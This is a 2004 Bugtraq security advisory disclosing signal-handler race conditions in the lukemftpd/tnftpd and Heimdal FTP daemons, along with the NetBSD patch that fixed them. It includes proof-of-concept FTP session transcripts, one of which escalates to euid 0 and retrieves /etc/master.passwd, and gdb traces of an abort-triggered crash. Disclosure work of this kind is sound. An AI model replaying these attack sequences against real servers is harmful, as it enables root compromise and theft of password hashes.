Message-ID: <20040822141727.85379.qmail@lagoon.freebsd.lublin.pl>
Date: 22 Aug 2004 14:17:27 -0000
From: venglin@...ebsd.lublin.pl
To: bugtraq@...urityfocus.com
Subject: multiple vulnerabilities in lukemftpd/tnftpd


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Multiple vulnerabilities in lukemftpd/tnftpd
- --------------------------------------------
Przemys³aw Frasunek <venglin@...ebsd.lublin.pl> / 14th July 2004


0. Foreword

Originally, the following paper described vulnerabilities found
in lukemftpd, but recently I've found out, that almost identical
portions of code were introduced into KerberosV ftpd daemon, therefore
making it vulnerable in the same manner as lukemftpd.

In the other words, all statements regarding sighandler related
vulnerabilities in lukemftpd applies also to ftpd from Heimdal 0.6.2.

1. Background

lukemftpd (also known as tnftpd) is a popular ftp server, shipped with
NetBSD, FreeBSD, MacOS X and packaged with some Linux distributions.
On NetBSD and MacOS X it is used as default ftp server.

Project site: http://freshmeat.net/projects/tnftpd

All described vulnerabilities were introduced over three years ago by
the following CVS commit:

 Revision 1.123 / (download) - annotate - [select for diffs], Sun Apr 1 23:04:31 2001 UTC (3 years, 4 months ago) by aidan
 Branch: MAIN
 Changes since 1.122: +31 -22 lines
 Diff to previous 1.122 (colored)

 As threatened, handle OOB commands from within ftpcmd.y.
 This involved changing the yacc syntax to be line-oriented, rather than
 having it run against the entire input at once, and adding a flag to
 struct tab, to indicate if or not it's acceptable for a command to occur
 OOB.

Original 4.4BSD ftp daemon, as well as FreeBSD's one allows delivering
only ABOR and STAT commands in OOB mode, but reworked lukemftpd sighandler
code reenters command parser after SIGURG:

static void
myoob(int signo)
{
	char *cp;

	/* only process if transfer occurring */
	if (!transflag)
		return;
	cp = tmpline;
	if (getline(cp, sizeof(tmpline), stdin) == NULL) {
		reply(221, "You could at least say goodbye.");
		dologout(0);
	}
	is_oob = 1;
        ftp_handle_line(cp);
        is_oob = 0;
}

2. First vulnerability: transflag remains set

If transfer gets interrupted and issued command is other than ABOR,
transflag remains set, because only abor() does longjmp to urgcatch.
This bug makes possible to interrupt any command with SIGURG.

Proof of concept -- relogging with USER/PASS after interrupting STOR:

- --------------------------------------------------------------------
Connected to 1.1.1.1. Trying to log in.
<-- 220 x FTP server (NetBSD-ftpd 20030122) ready.
- --> USER x
<-- 331 Password required for x.
- --> PASS x
<-- 230-
<--     FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Logged in, starting dummy transfer.
- --> PORT 1,1,1,1,66,199
<-- 200 PORT command successful.
- --> STOR 31337
<-- 150 Opening ASCII mode data connection for '31337'.
- --> òUSER x
- --> òUSER x
<-- 331 Password required for x.
- --> PASS x
<-- 230-
<--     FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Ok, relogged with transflag = 1

(gdb) att 16120
(gdb) print transflag
$1 = 1
- --------------------------------------------------------------------

Session context is now cleared, but transflag is still set. Now we can
take the advantage of other vulnerabilities.

3. Second vulnerability: interrupting non-atomic modifications

Issuing USER command while already logged in, clears the session context
and does seteuid(0). After calling PASS command, the following
pseudocode is executed:

{
	if (check_password(pass) == 1) {
		logged_in = 1;
		count_users();
		syslog();
		...
		seteuid(user);
	}
}

Delivering SIGURG between setting the logged_in flag and doing seteuid(user)
takes ftpd back to command parser with euid=0. 

Proof of concept:

- --------------------------------------------------------------------
Connected to 1.1.1.1. Trying to log in.
<-- 220 x FTP server (NetBSD-ftpd 20030122) ready.
- --> USER x
<-- 331 Password required for x.
- --> PASS x
<-- 230-
<--     FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Logged in, starting dummy transfer.
- --> PORT 1,1,1,1,148,252
<-- 200 PORT command successful.
- --> STOR 31337
<-- 150 Opening ASCII mode data connection for '31337'.
- --> òUSER x
- --> òUSER x
<-- 331 Password required for x.
- --> PASS x
<-- 230-
<--     FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Ok, relogged with transflag = 1
- --> USER x
<-- 331 Password required for x.
ftpd has euid=0 now, entering time critical section
- --> ò

CWD /
<-- 500 '': command not understood.
250 CWD command successful.
CWD /etc
250 CWD command successful.
RETR master.passwd
125 Using existing data connection for 'master.passwd' (1177 bytes).
226 Transfer complete.
- --------------------------------------------------------------------

This bug is exploitable only, when lukemftpd runs without -r flag and
attacker has access to account in REAL class.

My research shows that possibility of such race condition is extremely rare,
even impossible when logged over the network.

4. Third vulnerability: re-entering libc functions

Many instances of syslog(), malloc(), free() are used in ftpd code. Those
functions, as well as many others are NOT reentry-safe.  By delivering
a signal when malloc(), free() or any other libcall of this kind is being
called, all subsequent calls to the heap management routines made from
signal handler would have unpredictable effect, as heap state is completely
unpredictable for the programmer.

Unlike previous vulnerabilities, this one can be exploited by any
user, even anonymous, giving remote root sheel. Of course, running
lukemftpd with -r prevents attacker from getting uid=0.

5. Fourth vulnerability: longjmp() in abor() returns to stack when ABORting
   other commands than RETR/STOR

This vulnerability also can be exploited by anonymous user, giving remote
root sheel.

abor() assumes that urgcatch jmpbuf is initalized, but according to the
setjmp(3), "The longjmp() routines may not be called after the routine
which called the setjmp() routines returns."

Such behaviour of longjmp()/setjmp() seems to be specific to *BSD, as
I couldn't reproduce it on Linux.

Proof of concept:
- --------------------------------------------------------------------
Connected to 1.1.1.1. Trying to log in.
<-- 220 x FTP server (NetBSD-ftpd 20030122) ready.
- --> USER x
<-- 331 Password required for x.
- --> PASS x
<-- 230-
<--     FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Logged in, starting dummy transfer.
- --> PORT 1,1,1,1,205,38
<-- 200 PORT command successful.
- --> STOR 31337
<-- 150 Opening ASCII mode data connection for '31337'.
- --> òUSER x
- --> òUSER x
<-- 331 Password required for x.
- --> PASS x
<-- 230-
<--     FreeBSD 4.9-STABLE (RIGET) #0: Sun Feb 22 14:03:30 CET 2004
<--
<-- 230 User x logged in.
Ok, relogged with transflag = 1
- --> òABOR
- --> òABOR
426 Transfer aborted. Data connection closed.
226 Abort successful
[segfault here]

(gdb) b abor
Breakpoint 1 at 0x8053ca6: file /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c, line 2531.
(gdb) cont
Continuing.

Breakpoint 1, abor ()
    at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2531
2531            tmpline[0] = '\0';
(gdb) bt
#0  abor ()
    at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2531
#1  0x8056d2e in yyparse ()
    at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:475
#2  0x805545f in ftp_handle_line (cp=0x8063c40 "ABOR\n")
    at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1470
#3  0x8053e06 in myoob (signo=16)
    at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:2568
#4  0xbfbfffac in ?? ()
#5  0x4813a3ab in __srefill () from /usr/lib/libc.so.4
#6  0x4813a24f in __srget () from /usr/lib/libc.so.4
#7  0x80552fd in getline (s=0x8064780 "PASS x\n", n=511, iop=0x48156f00)
    at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1425
#8  0x80554a4 in ftp_loop ()
    at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpcmd.y:1480
#9  0x804fcae in main (argc=1, argv=0xbfbffaec)
    at /usr/src/libexec/lukemftpd/../../contrib/lukemftpd/src/ftpd.c:569
#10 0x804ae35 in _start ()
[notice that send_data() has already returned before ABOR]
(gdb) n
2532            is_oob = 0;
(gdb) n
2533            reply(426, "Transfer aborted. Data connection closed.");
(gdb) n
2534            reply(226, "Abort successful");
(gdb) n
2535            longjmp(urgcatch, 1);
(gdb) n

Program received signal SIGSEGV, Segmentation fault.
0xbfbff9a8 in ?? ()
(gdb) x/x 0xbfbff9a8
0xbfbff9a8:     0x48156f00
- --------------------------------------------------------------------

6. References

Most sighandler related problems are described in "Delivering Signals for
Fun and Profit" paper by Michal Zalewski:
http://lcamtuf.coredump.cx/signals.txt

7. Patch

All reported vulnerabilities were recently fixed in NetBSD source tree:

Module Name:src
Committed By:lukem
Date: Aug  9 12:56:48 UTC 2004

Modified Files:
src/libexec/ftpd: cmds.c conf.c extern.h ftpcmd.y ftpd.c logutmp.c
    logwtmp.c popen.c version.h

Log Message:
Fixes from (or inspired by) OpenBSD:
* Fix yacc parser error recovery so that setjmp(3)/longjmp(3) is unnecessary.
* Fix SIGURG handler to set an urgflag that's later tested, rather than
  abusing setjmp(3)/longjmp(3).
* Use "volatile sig_atomic_t" as the type of variables modified by sig handlers.
* Use sigaction(3) instead of signal(3) to set the signal handlers.
* Only set the main SIGALRM handler once.  If we need to change it,
  cache the old handler and restore appropriately...
* Remove a bunch of signal races by improving the signal handlers.
* Fix memory leak with 'ESPV ALL'.

My stuff:
* Clean up the debug message in reply(); use vsnprintf(3) instead of vsyslog(3).
* Rework parsing of OOB commands to _not_ use the yacc parser, since the
  latter isn't reentrant and the hacks to work around that are ugly.
  We now examine urgflag at appropriate locations and call handleoobcmd()
  if it's set.  Since the only OOB commands we currently implement are
  ABOR and STAT, this isn't an issue.  (I also can't find the reference in
  RFC2228 where MIC, CONF & ENC are OOB-only commands.  Go figure.)
  I could clean up the is_oob stuff some more, but the remaining stuff
  in ftpcmd.y is harmless and it's unnecessary churn right this moment.

- -- 
* Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NICHDL: PMF9-RIPE *
* JID: venglin@...ber.atman.pl ** PGP ID: 2578FCAD ** HAM-RADIO: SQ8JIV *
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (FreeBSD)

iD8DBQFBKKr3kxEnBiV4/K0RAnpyAKCYuaEbM0VVxhroT5UghBGYXJeGrgCgt2GW
h4qmzSAY/EfODipnuWkYrx0=
=fYv6
-----END PGP SIGNATURE-----

Powered by blists - more mailing lists